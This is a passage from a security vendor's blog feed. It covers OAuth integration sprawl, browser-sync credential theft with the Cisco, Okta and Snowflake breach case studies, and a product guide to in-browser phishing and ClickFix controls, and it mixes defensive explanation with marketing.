</p><p>This is fairly straightforward in your main enterprise cloud environment (think M365 or Google Workspace). But doing it across every SaaS app that allows some level of OAuth integration with another (i.e. every SaaS app) is somewhat harder. Not only do you need to have a comprehensive and up-to-date inventory, you need to be an app admin for every app (not always the case for self-adopted apps) and the particular app needs to give you the control to restrict and remove OAuth grants on behalf of users in your tenant. </p><p>Again, this is not exclusively a Shadow AI problem, even if AI adoption is contributing significantly to the sprawl. </p><p>Since the breach was initially reported, <a href="https://thehackernews.com/2026/04/vercel-breach-tied-to-context-ai-hack.html"><u>it has also emerged that</u></a> Context.ai’s browser extension has also been pulled from the Chrome store. It’s unclear whether attackers were able to publish a malicious extension update too, whether the extension was removed at Context.ai’s request (because the app has been deprecated), or Google pulled it down as a precaution in light of the incident. </p><hr/><h1><b>How Push can help</b></h1><p>As we’ve established, there are quite a few pieces to this puzzle. Push can help with all of them. </p><p>Push observes every app login your employees make in their browser, building a comprehensive picture of SaaS and AI use across your organization. This includes how they’re logging in and how secure the login is: did it have MFA, what kind of MFA, was it using a weak or compromised password, did they use SSO, and so on. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4rfQX7ICFP2tiio0Ra9r0f/ef6cdc27bc3dde03127105189523e405/image5.png" alt="Inspect apps and identities to uncover and remediate vulnerabilities."/><figcaption>Inspect apps and identities to uncover and remediate vulnerabilities.</figcaption></figure><p>Push also tracks OAuth integrations in your environment and gives you the ability to manage and remove them in core environments like M365 and Google Workspace, providing a single platform for you to view, manage, and secure app use across your organization. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6srKhXfs62Ql2vIUc0QszJ/58ae9672ed3e79bfef1fb65a6cd7450a/image3.png" alt="Analyse OAuth integrations, including permissions, user count, and other useful metadata. "/><figcaption>Analyse OAuth integrations, including permissions, user count, and other useful metadata.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/8BTe7GRIl7aLnwcmkRQkb/eb26d8d0ecb0165d4ab3c4d4a3ac6111/image1.png" alt="Easily delete unwanted integrations. "/><figcaption>Easily delete unwanted integrations.</figcaption></figure><p>This makes it easy to surface both vulnerabilities and possible control gaps, and do something about them. But where Push really excels is in the ability to observe and block OAuth connection requests <b>even outside of your primary enterprise apps.</b> Using Push, you can detect and block OAuth integration requests as they traverse the browser. This <b>app-agnostic</b> level of control is absolutely critical to halting OAuth integration sprawl. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4TIl7F28Qd1Mk5M4vrFUF7/1b983ddc567ea7130cc76c3397d8fb69/OAuth_blocking.gif" alt="Block OAuth connection attempts as they transit the browser using Push."/><figcaption>Block OAuth connection attempts as they transit the browser using Push. Example shows blocking Claude connectors.</figcaption></figure><h2>And t<b>hat’s not all …</b></h2><p>Push’s browser-based security platform also detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking in real time. This includes the most prominent infostealer delivery vectors in terms of malvertising and *Fix-style attacks. Push analyzes every web page in every browser session and tab for threats, in real time, with no latency. </p><p>But as we&#39;ve established, you don&#39;t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure">check out our latest product overview</a>, <a href="https://pushsecurity.com/product-demo/"><u>view our demo library</u></a>, or <a href="https://pushsecurity.com/demo">book some time with one of our team for a live demo</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Browser sync attacks: Where personal account hacks lead to corporate breaches</title>
      <link>https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches</guid>
      <pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Detection &amp; response</category>
      <category>Browser-based attacks</category>
      <description>Browser sync attacks result in business credentials being compromised via personal account and device breaches. Here's what you need to know. </description>
      <content:encoded><![CDATA[<p>One of the breakaway stories of 2026 has been the rise in attacks powered by <a href="https://pushsecurity.com/blog/browser-extension-management-guide/"><u>malicious browser extensions</u></a>. </p><p>Most browser extension attacks are really targeting the apps your users are accessing <i>inside</i> the browser. They do this by intercepting credentials (passwords, session cookies, and so on) as you browse the internet. </p><p>This is the same for most browser-based attacks, like phishing (of multiple varieties, with AITM phishing and device code phishing being the most common in 2026), and even hybrid attacks like ClickFix (trick victim into installing an infostealer on their device &gt; steal credentials and cookies &gt; log into apps). </p><p><b>But there’s an often overlooked vector that leads to the same outcome — synced browser profiles. </b>And the most dangerous part of this attack is that it often stems from personal device compromises — naturally, outside the scope of your corporate security software. </p><p>Sign into Chrome or Edge with a Google or Microsoft account, and your passwords, bookmarks, history, and extensions follow you seamlessly across every device. For individual users, it&#39;s a quality-of-life improvement. But for organizations, it links corporate accounts to personal ones with far weaker security controls. </p><hr/><h1><b>How browser sync attacks work</b></h1><p>When an employee signs into a personal browser profile on a work device (or saves work credentials on a personal device), the browser&#39;s sync mechanism copies those credentials into a cloud account outside the organization&#39;s control. That cloud account — typically a personal Google or Microsoft account — becomes the weakest link in the chain.</p><p>The typical sequence looks like this:</p><p><b>An employee signs into Chrome with their personal Google account on a corporate laptop. </b>During the course of their work, the browser prompts them to save passwords — for a VPN, an internal tool, a support system, a cloud platform. They click &quot;Save.&quot; The credential is now stored locally in the browser <i>and</i> synced to their personal Google account in the cloud.</p><p><b>The personal account is compromised. </b>This can happen in a lot of ways, and is made easier by the less secure nature of personal accounts. They are typically accessed from devices with less or no security protection, while MFA and other identity-layer controls are less common. Once the personal device or account is breached, every synced password — including corporate ones — is in the hands of the attacker. </p><p>Personal devices are far softer targets than corporate endpoints. They typically have no EDR agent, no centrally managed antivirus, no hardened configuration baselines, and no security operations team watching for alerts. And personal browsing habits are way more likely to lead to infostealer deployment, which are often distributed through malicious advertisements on all manner of platforms — search results, social media ads, gaming forums, and so on. <b>Notably, the 2025 Verizon DBIR found that 46% of infostealer-infected systems with compromised corporate credentials were non-managed devices. </b></p><p><b>With the harvested corporate credentials, the attacker authenticates to the organization&#39;s systems.</b> If MFA is absent or bypassable (via fatigue attacks, social engineering, or session token reuse), they&#39;re in.</p><p><b>From here, it&#39;s a conventional intrusion — privilege escalation, reconnaissance, and exfiltration. </b>But the initial access was entirely outside the defender&#39;s visibility. No phishing email hit the corporate mail gateway. No exploit was fired at a corporate asset. The compromise happened in a personal context that security teams had no control over.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7KIXnq2SeCTN2zA7DoIOj4/f2b7c37c47d28ac110cd2769c35652ae/Browser_sync_attack_diagram.png" alt="Browser sync attack diagram"/><figcaption>How a personal account compromise can lead to a corporate breach.</figcaption></figure><p>What makes this attack so effective is that it entirely bypasses the corporate security stack. Endpoint detection, email filtering, network monitoring — none of it sees the initial compromise because it happens on a personal device or in a personal cloud account.</p><p>The scope isn’t limited to “personal” devices either. BYOD and contractor machines suffer from the same security limitations in that they are a place where personal and corporate use converges, and/or they sit outside of the scope of your security tooling. </p><hr/><h1><b>Real-world incidents</b></h1><h2><b>Cisco (2022)</b></h2><p><a href="https://thehackernews.com/2022/08/cisco-confirms-its-been-hacked-by.html"><u>Cisco</u></a> was breached by an initial access broker with ties to the Yanluowang ransomware group, UNC2447, and the <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>Lapsus$</u></a> threat actor group. </p><p>A Cisco employee had enabled Chrome&#39;s password syncing feature and had stored their Cisco VPN credentials in the browser. Those credentials were synchronized to their personal Google account. The attacker compromised the personal Google account, obtained the VPN credentials, and then used a combination of voice phishing and MFA fatigue — repeatedly sending push notifications until the employee accepted one — to bypass multi-factor authentication and gain VPN access.</p><p>Once inside the network, the attacker escalated privileges, moved laterally to Citrix servers and domain controllers, and deployed offensive tooling consistent with pre-ransomware activity. Cisco&#39;s security team ultimately detected and removed the attacker before ransomware was deployed, but the adversary made repeated attempts to regain access in the following weeks, including targeting accounts where employees had only made single-character password changes after the company-wide reset.</p><h2><b>Okta (2023)</b></h2><p>The <a href="https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/"><u>Okta breach</u></a> followed an almost identical pattern to Cisco, but with more severe downstream consequences.</p><p>Between September 28 and October 17, 2023, an attacker gained unauthorized access to Okta&#39;s customer support case management system. The root cause: an Okta employee had signed into their personal Google profile on Chrome on their Okta-managed laptop. While signed into that personal profile, they accessed a service account for the support system. The service account&#39;s username and password were saved by Chrome and synced to the employee&#39;s personal Google account.</p><p>The attacker — having compromised either the personal Google account or a personal device — obtained these service account credentials and used them to access the support system. The compromised service account had permissions to view and update customer support cases, which contained HAR (HTTP Archive) files uploaded by customers for troubleshooting. Some of these HAR files contained session tokens.</p><p>The attacker used the stolen session tokens to hijack the legitimate Okta sessions of five customers, including 1Password, BeyondTrust, and Cloudflare — three security companies that independently detected the suspicious activity and reported it to Okta. In total, files associated with 134 Okta customers were accessed.</p><p>What made this breach particularly notable was the detection gap. Okta&#39;s security team was unable to identify suspicious file downloads in their logs for 14 days. The attacker navigated directly to the Files tab in the support system rather than opening files through individual support cases, which generated a different log event type that wasn&#39;t part of the initial investigation scope. It wasn&#39;t until BeyondTrust provided a suspicious IP address on October 13 that Okta was able to correlate the activity.</p><h2><b>Snowflake (customers) (2024)</b></h2><p>The <a href="https://pushsecurity.com/blog/snowflake-retro/"><u>Snowflake campaign</u></a> represents what happens when the browser-credential-sync problem meets infostealer malware at scale. </p><p>In 2024, a financially motivated threat actor tracked as UNC5537 (associated with the ShinyHunters group) systematically compromised approximately 165 Snowflake customer environments. The attackers didn&#39;t exploit any vulnerability in Snowflake itself. They logged in with valid credentials.</p><p>Those credentials had been harvested by infostealer malware — including Vidar, RedLine, Lumma, RisePro, Raccoon Stealer, and MetaStealer — from employee and contractor devices over a period stretching back to 2020. Mandiant&#39;s investigation found that over 80% of the compromised accounts had prior credential exposure, and critically, the stolen credentials had never been rotated.</p><p>The personal/corporate boundary failure was central to the campaign. Mandiant specifically noted that in several cases, the initial infostealer infections occurred on contractor systems that were also used for personal activities, including gaming and downloads of pirated software. These were personal or unmonitored laptops where corporate credentials had been saved in the browser alongside everything else.</p><p>The impacted Snowflake accounts lacked MFA (which Snowflake did not enforce by default at the time), and the attackers used a custom tool to automate SQL-based reconnaissance and data exfiltration across customer instances. The stolen data encompassed hundreds of millions of customer records, and at least one victim paid an undisclosed ransom.</p><hr/><h1><b>What security teams can do about it</b></h1><p>Chrome Enterprise and Microsoft Edge for Business both support policies that prevent employees from signing into personal accounts on corporate-managed browsers. This is the most direct control. It doesn&#39;t prevent all credential leakage scenarios, but it closes the sync-to-personal-cloud path.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/54OsAScfL5a896m3n0is80/ee84ec32221be0a6342eb6792c8b6dca/image1.png" alt="Preventing browser profile syncing in Chrome"/><figcaption>Preventing browser profile syncing in Chrome.</figcaption></figure><p>Every incident described above was enabled or worsened by the absence of MFA on the target system. MFA should be mandatory for all human user accounts, and organizations should audit for &quot;ghost logins&quot; — local username/password accounts that persist alongside SSO and bypass its MFA enforcement.</p><hr/><h1><b>How Push can help</b></h1><p>Push makes browser security easier than ever, particularly when dealing with complex environments running different browsers and operating systems. </p><p>You can use Push to surface which users are logged into their browser using a non-work profile and whether the profile is synced across devices. Push captures this information for every browser that your employees are using, including Chrome, Edge, Firefox, Safari, Brave, Opera, Arc, Island, and Prisma (and we’re always adding support for new ones). </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7Gmo7lSxoyLpmRyeEbXz4H/10e82ddfcba7a390ee5a25c931f730ff/image3.png" alt="Identify profile syncing using Push."/><figcaption>Identify profile syncing using Push.</figcaption></figure><p>Sync attacks can impact both saved credentials and browser extensions. This means that even if your employees aren’t saving credentials to their browser profile, you can still be at risk if they’ve installed any extensions in another browser where they’re signed in. </p><p>To learn more about how you can use Push to lock down extension use and block malicious extensions from running across every browser, check out our <a href="https://pushsecurity.com/blog/browser-extension-management-guide/"><u>guide</u></a> here. </p><p>You can use Push to identify where credentials are being saved — for example, are employees using your company-approved password manager, or copying credentials from unsanctioned apps or locations? This includes where users are manually copying passwords from a password manager app rather than auto-populating (this increases the chance of them entering these passwords into phishing pages).</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/74hJdhrMBMXv0enE2Qs5VD/2cdff9be14f70d2ae2283b88da0f3eeb/Push_Password_Manager.gif" alt="Get detailed visibility of password manager use and password entry behavior."/><figcaption>Get deep visibility of password manager use and password entry behavior.</figcaption></figure><p>You can also see where those credentials have a vulnerability, such as a weak, breached, or reused password. In this scenario, we’re looking for credentials that have been leaked online, where an employee is signed into their work browser with a personal account, and profile sync is enabled. This could indicate that the user has been the victim of an infostealer compromise or malicious extension on their personal device.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3BIn8peNvp8EXo1TWqZqXO/0c3f849f24d60fa546603d12abd4c349/Browser_Profile_Sync.gif" alt="Identify browser profile syncing and whether the user has active credentials that have been leaked online."/><figcaption>Identify browser profile syncing and whether the user has active credentials that have been leaked online.</figcaption></figure><p>As well as identifying password vulnerabilities, you can also use Push to harden accounts by detecting MFA gaps and enforcing MFA (even on apps where this isn’t natively possible). Check out our <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/"><u>guide</u></a> for more information.</p><hr/><h1><b>Stop browser-based attacks with Push</b></h1><p>Push Security&#39;s browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don&#39;t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>view our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Guide: How to use Push controls to protect your users from modern browser threats</title>
      <link>https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks</guid>
      <pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>Kelly Davenport</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>How to use in-browser controls to stop browser-based attacks before compromise can occur</description>
      <content:encoded><![CDATA[<p>Here are two things that can’t both be true:</p><ul><li><p>Users are the weakest link in security. They just need to stop clicking on things.</p></li><li><p>The internet is a giant clicking-on-things machine.</p></li></ul><p>In particular, when we look at the TTPs of modern browser-based attacks that target employees, it’s obvious where this disconnect has real consequences. </p><p><a href="https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=dir">Crowdstrike reports</a> that valid account abuse accounted for 35% of incidents in 2025, while <a href="https://www.verizon.com/business/resources/reports/dbir/">Verizon reports</a> that identity is now the primary breach vector observed across all methods.</p><p>Here’s why: Security tooling hasn’t kept up with adversary advances, and normal human behaviors are being expressly targeted via the browser to achieve compromise of accounts and endpoints. If you list the pitfalls facing the common end-user encountering these kinds of attack methods, the picture becomes even more stark.</p><p>To solve these problems, you need security tooling that sits in line with the user where they’re already working: In the browser. In this Push product guide, we’ll cover how you can use Push to provide point-in-time guidance — everything from block pages to informational banners — to protect users from modern browser-based TTPs and to guide them to remediate common vulnerabilities that can lead to account takeover.</p><p>We’ve also recently introduced custom branding and styling options for user-facing block pages and banners so you can provide a cohesive and trustworthy experience across your security ecosystem.</p><hr/><h1><b>Why you can’t train users to recognize modern browser-based attack methods</b></h1><p>User awareness training can help you build your workforce’s basic security baseline. But it’s not a reliable remedy for modern browser-based TTPs. When you look at the creative methods attackers are using — and rapidly improving on — it’s obvious why.</p><p>It&#39;s harder than ever to identify malicious scenarios when browsing the web as part of your routine, daily activities — and the list of attacks to be aware of is growing every day. <b>It was hard enough to train users not to click links in emails when that was pretty much the only thing they had to watch out for.  </b></p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2aSm6QBWDOU6JBtOLfyp6R/d63cacab198ef9b325cbcfdbe0373b5a/Browser_Attacks_Targeting_Users__1_.png" alt="Don't make employees the weak link image - blog - custom branding"/><figcaption>It's harder than ever for users to identify malicious content on the web, with attackers abusing an ever-increasing list of actions that feel pretty normal to users, with a wide range of malicious payloads.</figcaption></figure><p>To avoid account or endpoint compromise while going about your daily work as a user, you would need to accomplish these <i>extremely 100% achievable activities</i>, including:</p><table><tr><th><p><b>Scenario</b></p></th><th><p><b>Threat</b></p></th></tr><tr><td><p>While using search engines, never click on a <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs">malicious link</a> in sponsored or organic results (it&#39;s often the first link you see, too).</p></td><td><p>Malvertising, SEO poisoning, compromised legitimate webpages, vibecoded phishing webpages.</p></td></tr><tr><td><p>Know when to trust an email coming from an app you use every day, and when it could be malicious (it looks the same).</p></td><td><p>Using SaaS services to distribute malicious links using trusted sites (also a handy way of evading email controls).</p></td></tr><tr><td><p>When reading a LinkedIn DM from a colleague, anticipate that they might have been hacked and have sent you a malicious link. (Yes, this was a <a href="https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/">real scenario</a>). </p></td><td><p>Abuse of social media, IM platforms, and other apps where you can be directly contacted by users external to your organization. </p></td></tr><tr><td><p>When logging in to an app, never follow benign-seeming but actually malicious instructions to enter a code onto a legitimate page to complete your login.</p></td><td><p>AiTM phishing, OAuth consent phishing, <a href="https://pushsecurity.com/blog/device-code-phishing/">device code phishing</a>.</p></td></tr><tr><td><p>Know which instructions to follow and which are malicious when verifying that you&#39;re human on a CAPTCHA-style page.</p></td><td><p><a href="https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/">ClickFix</a>-style attacks that trick the user into running a malicious script or command, or <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a> (which is even sneakier and simply involves copying a URL).</p></td></tr></table><p>And we&#39;re barely scratching the surface here. <b>Easy, right?</b></p><h2><b>Can&#39;t we block users from interacting with bad content? </b></h2><p>So if you can’t train your way out of these problems, what about locking down and blocking your way out of the problem?</p><p>This, too, simply isn’t really feasible. </p><p>Modern cloud-first adversaries routinely rotate domains on malicious pages; use trusted services like SharePoint, Adobe, Google Sites, Cloudflare, and Atlassian to deliver lures; target end-users across multiple channels, including social media, forums, chat platforms, Google search results, email, and webpages; and use legitimate security tools like bot protection to bypass detection by other legitimate security tools, such as web content scanning and analysis solutions.</p><p>To safely navigate the internet today, you need to be able to spot malicious pages and content <b>the first time they&#39;re seen in the wild</b>. If you&#39;re relying on indicators of known bad, you&#39;re always a step behind, leaving users exposed.</p><p>Learn more about the browser-based attack techniques driving the biggest breaches of the last year in our <a href="/resources/browser-attacks-report">2026 Browser Attack Techniques</a> ebook.</p><p>To protect users while they work online, you need a purpose-built security tool that can respond in real time to modern TTPs and guide users securely — without introducing extra work or a lot of friction. Push can help with that.</p><hr/><h1><b>Why in-browser controls?</b></h1><p>Simply put, using in-browser security controls gets you the closest to the user and their work in order to protect them from modern browser-based threats. Adding in-browser controls also solves two tricky problems for security teams: </p><ul><li><p><b>Filling the gap between solution layers</b> in order to detect and block attack methods like Adversary-in-the-Middle phishing, malicious browser extensions, and ClickFix-style social engineering attacks that other tools miss.</p></li><li><p><b>Providing just-in-time security enforcement</b> to end-users when it’s the right moment to act on that guidance, reducing your attack surface across your online apps, browser extensions, and accounts, and ensuring your app usage policies are followed.</p></li></ul><h2>Fill the gap between solution layers</h2><p>Most existing security solutions operate just <i>outside</i> the context of a user interacting with a webpage. This leaves blind spots that attackers are exploiting between layers of security tooling.</p><p>For example, network proxies see HTTP requests, URLs, and page headers, but not the <a href="https://pushsecurity.com/blog/push-plus-network-security">structural elements</a> of the DOM or on-page user interactions that are key to fingerprinting the behavior of AiTM phishing kits or ClickFix-style social engineering attacks. </p><p>Similarly, <a href="https://pushsecurity.com/blog/push-plus-endpoint-security">EDR tools</a> only see the bad thing when it hits the endpoint, and many <a href="https://pushsecurity.com/blog/push-plus-cloud-security">cloud security tools</a> rely on complex policy configurations across a core set of apps to provide security protection — leaving a gap in detection and response capabilities outside their purview.</p><p>The Push research team has written extensively about how cloud-first operators like Scattered Lapsus$ Hunters use a variety of methods to <a href="https://phishing-techniques.pushsecurity.com/">evade existing security controls</a>, if you’d like to dig into the details.</p><h2>Provide just-in-time security enforcement</h2><p>As some of our customers like to say, Push provides security teams with a <a href="/customer-stories/upvest">“seat on the user’s side”</a> of the equation so you can enforce security best practices.</p><p>Having that seat on the user’s side also helps you deliver guidance in the right context for it to be followed: When the user is engaged in doing the behavior you want to influence (or prevent). The right information, at the right time, in the right format — not a belated reminder through a different channel that’s easy to ignore.</p><p>With those outcomes in mind, let’s look at some specific solutions from the Push platform.</p><hr/><h1><b>How Push helps you protect users from browser-based ATO, ClickFix, and similar attacks</b></h1><p>The Push platform provides out-of-the-box detections for browser-based attacks, including:</p><ul><li><p><a href="https://pushsecurity.com/help/10113#start">AiTM phishing kits</a> that can bypass MFA</p></li><li><p><a href="https://pushsecurity.com/help/10117#start">Cloned login pages</a> designed to steal user credentials</p></li><li><p><a href="https://pushsecurity.com/help/10148#start">Malicious browser extensions</a></p></li><li><p><a href="https://pushsecurity.com/help/10141#start">Malicious copy and paste attacks</a> like ClickFix, FileFix, and similar</p></li></ul><p>For each of these attack vectors, Push delivers detection events and associated metadata for quick triage by the security team, as well as employee-facing warn or block screens, based on your selected configuration.</p><p>Here’s a snapshot of the capabilities of these controls and what end-users will experience.</p><h2><b>The scenario:</b></h2><p>When a user encounters a malicious page — whether that’s an AiTM phishing tool running on a webpage, or a ClickFix-style attack — or attempts to install a malicious extension, Push immediately steps in. </p><p>Push can prevent users from entering their credentials on phishing pages, including cloned login pages, or from pasting malicious clipboard contents that can run malware on their device. Push can also prevent users from installing known-bad browser extensions. </p><p>In each of these scenarios, Push admins get detailed detection information they can use to triage the incident.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png" alt="Sample detection - blog article - custom branding"/><figcaption>Sample detection details in the Push admin console for a blocked phishing event</figcaption></figure><h2><b>How it works:</b></h2><p>Rather than relying on known-bad intelligence like domains or URLs, Push performs a behavioral and structural analysis of malicious pages in real time.</p><p>That means a phishing page never has to appear in a threat intelligence feed in order to be detected and blocked.</p><p>Similarly, for malicious copy and paste attacks like ClickFix, Push analyzes the content copied to the clipboard but also evaluates the context of the page to reduce false positives. In blocking mode, Push’s control for ClickFix-style attacks replaces the malicious clipboard contents with safe text — preventing potential endpoint compromise before it can occur.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3xaJZGyhSbqqLZ7iyiqb40/427c9eeb7312dc1d85d57b10b2ffec11/clickfix_screenshot_example.png" alt="Sample ClickFix detection - blog article - custom branding"/><figcaption>Sample screenshot captured from a malicious copy-paste attack</figcaption></figure><p>Finally, for identifying malicious browser extensions, Push takes a slightly different approach — combining both behavioral detections and curated intelligence of known-bad extensions from our own research and from trusted industry sources. We’ve found this combination provides the highest-fidelity way to identify malicious extensions without relying on approaches like analyzing extension permissions, which often isn’t actionable. </p><h2><b>Your security team gets:</b></h2><p>Readymade detection and alerting, combined with detailed telemetry. Detections and their associated metadata can be consumed via <a href="/help/audience/administrators/docs/getting-started/#api-and-webhooks">Push’s REST API and webhooks</a>. </p><h2><b>Your end-users see:</b></h2><p>An immediate block screen in your company colors and brand style, providing a highly memorable, contextual moment of learning — and reassuring them that an incident has been prevented.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2eQNuARuzPujGm1tfYxFhf/1ebce9e33cf89368d1e9ce9104382641/phishing_block_page_branded.png" alt="Sample phishing block page - blog article - custom branding"/><figcaption>Sample phishing block page with custom branding</figcaption></figure><hr/><h1><b>How Push helps you remediate account vulnerabilities at scale</b></h1><p>Just-in-time security enforcement works best when it’s trustworthy and contextual — without making a lot more work for your team. Push also provides readymade controls for remediating common account vulnerabilities that contribute to your attack surface online, helping you harden existing accounts and reduce behaviors that introduce new risks.</p><p>With Push, you can:</p><ul><li><p><a href="https://pushsecurity.com/help/10109#start">Prevent the phishing or reuse of high-value passwords</a>, like your IdP, AWS, or code repository passwords.</p></li><li><p>Remediate <a href="https://pushsecurity.com/help/10121#start">missing MFA</a> or <a href="https://pushsecurity.com/help/10129#start">insecure passwords</a> on any work app, even those not managed by your SSO solution.</p></li><li><p>Use <a href="https://pushsecurity.com/help/10106#start">in-browser banners</a> to add guardrails to app usage, including blocking unapproved SaaS or collecting a business reason to access an app before approving it.</p></li><li><p><a href="https://pushsecurity.com/help/10138#start">Block unwanted or unapproved browser extensions</a> from being installed, or disable them if they’ve been installed previously.</p></li></ul><p>Here’s a snapshot of the capabilities of these controls and what end-users will experience.</p><h2><b>The scenario:</b></h2><p>Push uses in-browser controls to intervene when a user is missing MFA; reusing a high-value password; using an insecure password; attempting to log in to an unapproved app; or attempting to install a blocked extension. </p><p>Push can block users from reusing passwords set as “protected” (meaning they can’t be reused on any other page or app) or from using unapproved apps or extensions. Push can guide users to update their password or register for MFA on accounts where they lack it. Push can also provide any other specific security or policy guidance to employees via banners that appear on apps in your environment, including GenAI apps. </p><p>For all of these scenarios, you can tune Push controls to your preferred mode (informing vs. blocking, for example) and select which employees, employee groups, and apps or accounts to focus on.</p><p>You can also customize the message that employees see, to match your organizational culture and policies.</p><h2><b>How it works: </b></h2><p>The Push browser agent observes real-time user behavior and securely analyzes users’ account vulnerabilities in order to identify risks and execute your preconfigured controls. </p><p>To identify MFA status, Push uses the app’s own API to query the logged-in user’s registered MFA methods. To analyze password security, Push creates a salted, truncated hash that is stored locally in the user’s browser and then used for comparison to find reused passwords, leaked passwords, and shared passwords. </p><p>Using the <b>MFA enforcement</b> and <b>Strong password enforcement</b> controls, you can then automatically display a banner to users with those account vulnerabilities, guiding them to fix the issue.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/8srMEvq3vFJQiEyIaESDw/fdff9a4f3bd0eadb5f58ff9fac4ada74/MFA_enforcement_banner_branded_sample.png" alt="MFA enforcement banner example - blog article - custom branding"/><figcaption>MFA enforcement banner with custom branding and dark theme option</figcaption></figure><p>Using Push’s <b>Password protection</b> control, you can select apps where you want to essentially “pin” the high-value password to only that app and prevent its reuse (or phishing) on any other domain. </p><p>Using Push’s <b>Browser extension blocking</b> control, you can create a blocklist or allowlist of extensions and prevent users from installing or enabling blocked extensions.</p><p>Finally, using Push’s <b>App banners</b> feature, you can add custom messages in a range of modes — from informing to blocking — to apps in use across your business, or even specific URL patterns.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2b3bGaN3vQBXn5SL8BlbzZ/fbe21cc6e6387856e2d3a56ffb6a1e82/banner_example_branded_block.png" alt="Sample blocking banner - blog article - custom branding"/><figcaption>Sample blocking banner</figcaption></figure><h2><b>Your security team gets: </b></h2><p>A flexible and highly configurable set of controls to solve account vulnerabilities at scale and to enforce your security controls around browser extensions and app usage.</p><h2><b>Your end-users see: </b></h2><p>Contextual, actionable guidance in the midst of their actual workflow, helping them fix the issue or guiding them to safety.</p><hr/><h1><b>Implementation tips</b></h1><p>Push allows you to set the scope and mode of each control, making it simple to roll out. </p><p>We recommend starting in <b>Monitor</b> mode for controls that intervene in end-user activities. That way, you can perform testing with sample malicious sites or scenarios like reused protected passwords, tune out any benign true positives, and develop the messaging you want to use on warn or block pages. (For controls without an explicit monitor mode, like <b>Strong password enforcement</b>, you can still monitor for related events on the <b>Events</b> page, such as account security findings, or by consuming webhooks into a downstream tool.)</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2O0ptkRr7E0QPlfABl3zq9/1e2204b441b50129f543177a99c46fa6/config_rule_scope_mode_example.png" alt="Rule configuration example - blog article - custom branding"/><figcaption>Rule configuration slideout for Phishing tool detection</figcaption></figure><p>When you’re ready, set the mode to <b>Warn</b> or <b>Block</b> and use the scope options to perform a phased rollout to your user population by adding additional user groups to the control until you have complete coverage of your population.</p><p>By consuming webhook events into your SIEM, you can integrate Push alerts into your existing security workflows, monitoring for new detections or tracking when account vulnerabilities are resolved.</p><hr/><h1><b>Enhancing user trust with custom branding</b></h1><p>We recently released the option to customize the look and feel of all employee-facing banners and block pages. </p><p>From the <b>Settings</b> page in the Push admin console, you can upload your logo, add accent colors, and choose from light or dark backgrounds.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4EX3DqVhvOMCyNFYSBJ1rF/caabcddde02e65e363f2354aa7ab2be0/branding_settings.png" alt="Branding settings - blog article - custom branding"/><figcaption>Branding configuration options for banners and block pages</figcaption></figure><p>Custom branding increases the trustworthiness of these in-the-moment security guardrails so that users recognize them immediately and act on their guidance.</p><p>The result: Better compliance and lower friction for you and your employees.</p><hr/><h1><b>Learn more about Push</b></h1><p>Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — <a href="/resources/browser-attacks-report">modern attack techniques</a> that are the leading cause of breaches today.</p><p>You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack 